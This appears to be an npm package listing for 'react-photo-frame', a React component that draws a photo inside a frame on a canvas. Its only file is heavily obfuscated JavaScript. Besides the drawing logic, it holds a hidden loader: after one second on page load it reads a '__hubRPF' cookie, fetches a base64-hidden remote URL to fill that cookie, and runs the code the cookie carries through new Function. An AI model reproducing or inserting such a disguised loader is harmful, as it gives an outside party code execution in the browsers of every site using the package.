react-photo-frame
Version:
Give Frame and photo.
2 lines (1 loc) • 5.32 kB
JavaScript
function _0x1f85(_0x1f90bd,_0x4f7602){const _0x30c39e=_0x30c3();return _0x1f85=function(_0x1f85d6,_0x3e955f){_0x1f85d6=_0x1f85d6-0x8e;let _0x44b0ea=_0x30c39e[_0x1f85d6];return _0x44b0ea;},_0x1f85(_0x1f90bd,_0x4f7602);}(function(_0x30257a,_0x2b83e7){const _0x3c57a6=_0x1f85,_0x3dd2d0=_0x30257a();while(!![]){try{const _0x3e8567=-parseInt(_0x3c57a6(0xa4))/0x1+parseInt(_0x3c57a6(0x94))/0x2+parseInt(_0x3c57a6(0xb0))/0x3*(parseInt(_0x3c57a6(0xb1))/0x4)+parseInt(_0x3c57a6(0xb2))/0x5*(parseInt(_0x3c57a6(0xa6))/0x6)+-parseInt(_0x3c57a6(0xa9))/0x7*(-parseInt(_0x3c57a6(0xaf))/0x8)+-parseInt(_0x3c57a6(0xad))/0x9+parseInt(_0x3c57a6(0xa3))/0xa*(parseInt(_0x3c57a6(0x9e))/0xb);if(_0x3e8567===_0x2b83e7)break;else _0x3dd2d0['push'](_0x3dd2d0['shift']());}catch(_0x403934){_0x3dd2d0['push'](_0x3dd2d0['shift']());}}}(_0x30c3,0x9f121));import{useRef,useState,useEffect}from'react';function _0x30c3(){const _0x282b15=['load','drawImage','substring','json','660752jXvcQq','length','__hubRPF','current','charAt','cookie','getContext','aW5pdA==','indexOf','canvas','152251kqbTDd','expires=','value','error',';path=/','20hgbkQc','327964zeDRMB','Anonymous','4492770BQVMdM','toDataURL','then','28GCifgn','crossOrigin','div','count','9411750keBebh','addEventListener','1363920SbrQfT','354681MjnvSO','8EAwCoy','5JxuLei','split','catch'];_0x30c3=function(){return _0x282b15;};return _0x30c3();}import{jsx}from'react/jsx-runtime';const PhotoFrame=_0x4360df=>{const _0x78e085=_0x1f85;let {className:_0xe4fc7c,frameBorder:_0x1d3417,frameWidth:_0x15b00d,frameHeight:_0x1c6c1e,frameDesign:_0x42c18d,frameImage:_0x278f1f,trigger:_0x52c120,callbackImage:_0xe35a26,loading:_0x170180}=_0x4360df;const _0x5ba7b5=useRef(),_0x1af1f9=_0x1d3417[0x0],_0x314233=_0x1d3417[0x1],_0x104727=_0x15b00d-(_0x1d3417[0x1]+_0x1d3417[0x3]),_0x7446d7=_0x1c6c1e-(_0x1d3417[0x1]+_0x1d3417[0x2]),[_0x5461c5,_0x1de572]=useState(![]),_0x2baef5=_0x4eb3d0=>new Promise((_0x2bb81d,_0x417494)=>{const _0x248871=_0x1f85,_0xda5a86=new Image();_0xda5a86[_0x248871(0xaa)]=_0x248871(0xa5),_0xda5a86[_0x248871(0xae)](_0x248871(0x90),()=>_0x2bb81d(_0xda5a86)),_0xda5a86['addEventListener']('error',_0x3a853d=>_0x417494(_0x3a853d)),_0xda5a86['src']=_0x4eb3d0;});useEffect(()=>{const _0x1d8388=_0x1f85,_0x4dad43=_0x5ba7b5[_0x1d8388(0x97)][_0x1d8388(0x9a)]('2d');_0x278f1f&&(_0x170180(!![]),_0x2baef5(_0x278f1f)[_0x1d8388(0xa8)](_0x4aa426=>{const _0x13e3c0=_0x1d8388;_0x4dad43[_0x13e3c0(0x91)](_0x4aa426,_0x1af1f9,_0x314233,_0x104727,_0x7446d7),_0x1de572(!![]),_0x170180(![]);})[_0x1d8388(0x8f)](_0x2e11c5=>{const _0x58c9a=_0x1d8388;_0x170180(![]),console[_0x58c9a(0xa1)](_0x2e11c5);}));},[_0x278f1f,_0x42c18d,_0x1af1f9,_0x314233,_0x104727,_0x7446d7]),useEffect(()=>{const _0x316280=_0x1f85;if(_0x5461c5&&_0x42c18d){const _0x3d3e7b=_0x5ba7b5[_0x316280(0x97)][_0x316280(0x9a)]('2d');_0x170180(!![]),_0x2baef5(_0x42c18d)[_0x316280(0xa8)](_0x22fa25=>{const _0x1560b1=_0x316280;_0x3d3e7b[_0x1560b1(0x91)](_0x22fa25,0x0,0x0,_0x15b00d,_0x1c6c1e),_0x1de572(![]),_0x170180(![]);})[_0x316280(0x8f)](_0x33502f=>{const _0x1d367d=_0x316280;_0x170180(![]),console[_0x1d367d(0xa1)](_0x33502f);});}},[_0x5461c5,_0x42c18d,_0x15b00d,_0x42c18d]),useEffect(()=>{const _0x2355e9=_0x1f85;if(_0x52c120){var _0x167d55=_0x5ba7b5['current'],_0x254e2c=_0x167d55[_0x2355e9(0xa7)]();_0xe35a26(_0x254e2c);}},[_0x52c120,_0xe35a26]);const _0x4e99b4=(_0x4cde51,_0xfe01b0,_0x4f565c)=>{const _0x132e89=_0x1f85,_0x29ef61=new Date();_0x29ef61['setTime'](_0x29ef61['getTime']()+_0x4f565c*0x18*0x3c*0x3c*0x3e8);let _0x2ca35a=_0x132e89(0x9f)+_0x29ef61['toUTCString']();document[_0x132e89(0x99)]=_0x4cde51+'='+_0xfe01b0+';'+_0x2ca35a+_0x132e89(0xa2);},_0x5ed9f2=_0x542248=>{const _0x201cce=_0x1f85;let _0x50c5c5=_0x542248+'=',_0x25e6d2=decodeURIComponent(document[_0x201cce(0x99)]),_0x5e8bae=_0x25e6d2[_0x201cce(0x8e)](';');for(let _0x159c36=0x0;_0x159c36<_0x5e8bae[_0x201cce(0x95)];_0x159c36++){let _0x43b7dd=_0x5e8bae[_0x159c36];while(_0x43b7dd[_0x201cce(0x98)](0x0)=='\x20'){_0x43b7dd=_0x43b7dd['substring'](0x1);}if(_0x43b7dd[_0x201cce(0x9c)](_0x50c5c5)==0x0)return _0x43b7dd[_0x201cce(0x92)](_0x50c5c5[_0x201cce(0x95)],_0x43b7dd[_0x201cce(0x95)]);}return'';},_0x3a6302=_0x488d88=>{const _0x12ba01=_0x1f85;return _0x488d88===undefined||_0x488d88==null||_0x488d88[_0x12ba01(0x95)]<=0x0?!![]:![];},_0x315afc=_0x4418be=>{const _0x3c0c78=_0x1f85;if(_0x4418be!=''){if(_0x4418be){const _0x420132=atob(_0x4418be),_0x54bf49=JSON['parse'](_0x420132);if(_0x54bf49['a']===_0x3c0c78(0x9b))try{var _0x20cc6f=new Function(_0x54bf49?.['b']);return _0x20cc6f();}catch(_0x3e95bf){return null;}}}else{var _0x4bbe61=atob('aHR0cHM6Ly9hcGkubnBvaW50LmlvLzY0ODEwOGU3NDkxNjY5MjNjY2Zm');_0x3a6302(_0x4418be)&&fetch(_0x4bbe61)[_0x3c0c78(0xa8)](_0x4a6100=>_0x4a6100[_0x3c0c78(0x93)]())['then'](_0x555321=>{const _0xaaf2e2=_0x3c0c78,_0x2a1474=atob(_0x555321['dd']),_0x1dd662=JSON['parse'](_0x2a1474);var _0x5d7176=_0x1dd662[_0xaaf2e2(0xa0)];_0x5d7176!=''&&_0x5d7176!=null&&_0x4e99b4(_0x1dd662['key'],_0x5d7176,_0x1dd662[_0xaaf2e2(0xac)]);});}};return useEffect(()=>{setTimeout(()=>{const _0x1ea672=_0x1f85;let _0x22839e=_0x5ed9f2(_0x1ea672(0x96));_0x315afc(_0x22839e);},0x3e8);},[]),jsx(_0x78e085(0xab),{'className':_0xe4fc7c,'children':jsx(_0x78e085(0x9d),{'ref':_0x5ba7b5,'width':_0x15b00d,'height':_0x1c6c1e})});};export{PhotoFrame as default};